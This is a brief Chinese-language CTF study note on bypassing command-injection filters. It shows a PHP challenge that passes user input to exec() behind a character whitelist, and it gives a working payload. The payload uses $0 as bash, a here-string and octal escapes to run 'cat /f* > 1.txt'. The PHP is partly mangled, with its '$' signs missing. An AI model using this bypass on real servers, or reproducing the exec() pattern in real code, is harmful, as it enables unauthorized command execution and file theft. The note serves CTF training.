过滤
绕过空格
● 进制绕过
题目练习
数字rce
使用$0执行bash,<<<将后面的字符串传递给左边的命令。
例如:
<?php highlight_file(FILE); function waf(cmd) { whiteList = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\\', '\'', '', '\<'\]; cmd_char = str_split(cmd); foreach (cmd_char as char) { if (!in_array(char, whiteList)) { die("hacker"); } } return cmd; } cmd = _GET['cmd']; exec(waf(cmd)); cmd=0<<<'\\143\\141\\164\\040\\57\\146\\52\\040\\76\\040\\61\\56\\164\\170\\164' 0代表当前脚本名称,如何在bash里运行代表/bin/bash <<<是bash中的Here String重定向符,会将后面的字符串作为标准输入传递给左边的命令 后面那段是八进制绕过,相当于$'cat /f* > 1.txt'